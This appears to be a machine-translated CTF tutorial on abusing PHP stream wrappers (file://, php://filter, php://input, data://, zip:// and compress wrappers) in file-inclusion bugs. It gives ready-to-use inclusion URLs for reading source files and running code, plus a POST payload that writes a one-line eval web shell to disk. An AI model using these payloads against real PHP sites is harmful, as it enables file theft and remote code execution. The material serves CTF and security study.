Reference link ：PHP Pseudo protocol summary - SegmentFault Think no

Catalog

1.file:// agreement

Conditions ：

effect ：

explain :

usage

Example ：

2.php:// agreement

Conditions

effect ：

explain

 php://filter Use

php://input Use

3.data:// agreement

effect ：

usage

4.zip:// & bzip:// & zlib:// agreement

effect ：

Example ：

summary

1.file:// agreement

Conditions ：

allow_url_fopen : off/on
allow_url_include: off/on

effect ：

Used to access the local file system , stay ctf Is usually used to read local files

stay include() / require() / include_once() / require_once() The parameters are controllable , Even if import is not .php file , Such as shell.txt , Still, in accordance with the php Grammar for parsing , This is a include() Function

explain :

file:// The file system is php Default encapsulation protocol used , Used to show the local file system .

usage

/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext

Example ：

1.file://[ The absolute path and filename of the file ]

http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

2.file://[ Relative path and file name of the file ]

http://127.0.0.1/include.php?file=./phpinfo.txt

3.http:// Network location and file name

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

2.php:// agreement

Conditions

allow_url_open : off/on
allow_url_include:  only  php://input  php://stdin php://memory php://temp  need on

effect ：

php:// Access individual inputs / Output stream (I/O streams), stay ctf Often used in php://filter and php://input

php://filter  For reading source code 
php://input  Used to perform php Code 

explain

php Some miscellaneous inputs are provided / Output (IO) flow , allow access to PHP Of I / O stream , Standard I / O streams and error descriptors

 php://filter Use

php://filter/read=convert.base64-encode/resource=[ file name ]

php://input Use

http://127.0.0.1/include.php?file=php://input


[POST DATA part ]
<?php phpinfo(); ?>

Write a word Trojan

http://127.0.0.1/include.php?file=php://input
[POST DATA part ]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

3.data:// agreement

effect ：

php>=5.2.0 , have access to data:// Data flow wrapper , To transfer data in the corresponding format . Usually used to perform php Code

usage

data://text/plain, ???
 Such as 
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

4.zip:// & bzip:// & zlib:// agreement

effect ：

zip:// & bzip:// & zlib:// All belong to compressed flow , You can access sub files in a compressed file , More importantly, you don't need to specify a suffix , It can be modified to any suffix , Such as jpg,png,gif,xxx etc.

Example ：

1.zip://[ Compressed file absolute path ]%23[ The name of the sub file in the compressed file ](# The code of is %23)

Compress phpinfo.txt by phpinfo.zip , Rename the package to phpinfo.jpg , And upload

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2

Compress phpinfo.txt by phpinfo.bz2 And upload （ Any suffix is also supported )

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz

Compress phpinfo.txt by phpinfo.gz And upload （ Supports any suffix ）

http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

summary

stay ctf The most common ones in English are data:// , php://input , php://filter ,file://

php://input ,data:// To execute commands 

1.php://input  Usage of 
http://127.0.0.1/include.php?file=php://input
[POST DATA part ]
<?php phpinfo(); ?>

2.data:// usage 
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

php://filter,file:// Used to read files 

3.php://filter usage 
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php（ Read php The file needs to be encrypted before it can be read out ）
http://127.0.0.1/include.php?file=php://filter/resource=/flag
4.file:// usage 
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt